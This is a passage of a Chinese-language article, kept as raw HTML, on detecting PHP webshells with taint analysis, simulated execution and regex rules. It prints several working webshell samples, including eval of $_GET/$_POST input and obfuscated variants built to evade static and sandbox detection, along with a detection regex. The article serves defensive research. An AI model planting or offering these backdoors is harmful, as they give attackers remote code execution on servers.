&#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$fa[0] = $_GET[&#34;cmd&#34;];</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">eval($fa-&gt;toArray()[0]);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code></pre></section><pre style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></pre><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.5265625" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ac33c456&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibtyJTqP0oGoE6updUXBqrqplCDeHlf6B4MFQXcxvNBqOs0sFtnQ8GM7g%2F640%3Fwx_fmt%3Dpng"/></p><pre style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></pre><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">污点传递</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;color: rgb(18, 18, 18);font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">污点分析就是分析程序中由污点源引入的数据，在经过数据流处理，传播到污点汇聚点后，是否符合预设的策略。对于Webshell的定义而言，这个策略就是外部可控的值，能否传递进危险函数，从而达到任意代码执行、命令执行的目的。</span></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1.1232032854209446" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 487px !important;visibility: visible !important;" data-type="png" data-w="487" src="https://wechat2rss.xlab.app/img-proxy/?k=8c0fb72a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibt5lw6KT8nSFydYoHmiaEjdzl3GXbwM9ZDtLicvoJice1lerNjwUxyYI4XA%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">传统的词法引擎检测方案</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">PHP源代码会产生AST。通过对AST树进行遍历，可以将$_GET、$_POST等外部可控的变量标记成污点，直至污点传递至危险函数。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">但是这种检测方案会产生漏报。以下面代码为例：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">@$_=&#34;s&#34;.&#34;s&#34;./*-/*-*/&#34;e&#34;./*-/*-*/&#34;r&#34;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">@$_=/*-/*-*/&#34;a&#34;./*-/*-*/$_./*-/*-*/&#34;t&#34;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">@$_/*-/*-*/($/*-/*-*/{&#34;_P&#34;./*-/*-*/&#34;OS&#34;./*-/*-*/&#34;T&#34;}</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?&gt;</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.5011574074074074" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=95d626f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibtUndhf5QPa3xwEMrfHIGQWSicribWUu5HXuUSHRWJ8tz6eOOP70TRROMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">遇到代码执行、条件判断、函数调用等操作，在AST上仅仅展示一个节点，无法拿到隐藏的恶意代码信息，也就无法进行检测。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">面向高对抗样本的模拟污点检测</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">而模拟污点检测引擎不只是在原始AST树上进行遍历，而是对每个节点进行模拟执行。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">这样做的优势是不需要修改原有的zend引擎来适配检测的逻辑，而是专门面向高对抗样本定制的策略。下面我将举个例子，来说明这种方案的优越性。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">// a=whoami</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$l = strlen(number_format(-0.01));</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">substr(&#34;11system&#34;, $l, 6)($_GET[&#39;a&#39;]);</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.35648148148148145" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=885613ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibtiajAXv5SMVcJWa6rprE1zwVTJNqAcCj2l8G5KEogAhCcmW8VhpnYdcg%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">number_format函数是7.2版本的不兼容变更，这就意味着此webshell只能运行在php7.2以下的版本。如果动态沙箱为7.2及其以上，则无法计算出恶意代码，从而产生漏报。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">除此之外，模拟污点引擎还添加了大量推理执行逻辑，当攻击者有意对抗时，会进行污点传播。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">模拟污点引擎的本质是尽量让恶意特征暴露出来：</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">能直接执行的样本直接运行；不能直接执行的样本模拟执行；不能模拟执行的样本继续推理执行。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">看完了模拟污点引擎的优越性，下面我们谈一谈传统静态、动态检测方案的困境。</span></p><h3 style="margin-top: 5px;margin-bottom: 5px;outline: 0px;font-size: 18px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">静态检测难以应对未知威胁</span></strong></span></h3><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">纯静态检测是最早的文本检测手段，自诞生起直到现在还在被大量应用。但其实静态检测的效果取决于对文本特征的提取，特征的维度直接决定误报率和漏报率。在这个章节，我们主要讨论纯源码规则的静态匹配，不包括对文本进行提取AST、opcode等特征再进行静态匹配的情况。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">主流的静态检测方法具备检测速度快，普适性好（跨平台、跨版本、跨语言等），实现成本低（理论上只要是黑样本，都可以写规则覆盖）的特点；然而，由于缺乏词法、语法的约束，更易产生误报，同时缺乏对抗性和技术壁垒的特点，使得此类型检测算法在遇到加壳、加密、混淆样本时难以检出，无法形成差异化优势。</span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">正则表达式匹配易误报</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">eval($_POST[&#39;shell&#39;]);</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对于上面的Webshell可以直接写正则表达式进行文本匹配：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">(eval|system)\(\$_(POST|GET|REQUEST)\[</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">利用正则表达式可以很容易对已知恶意样本进行匹配，但缺点也很明显，正则表达式无法进行词法、语法的约束，匹配到的文本不一定能正确的执行。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">eval($_POST[&#39;</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">如上述代码也会被规则匹配到。</span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 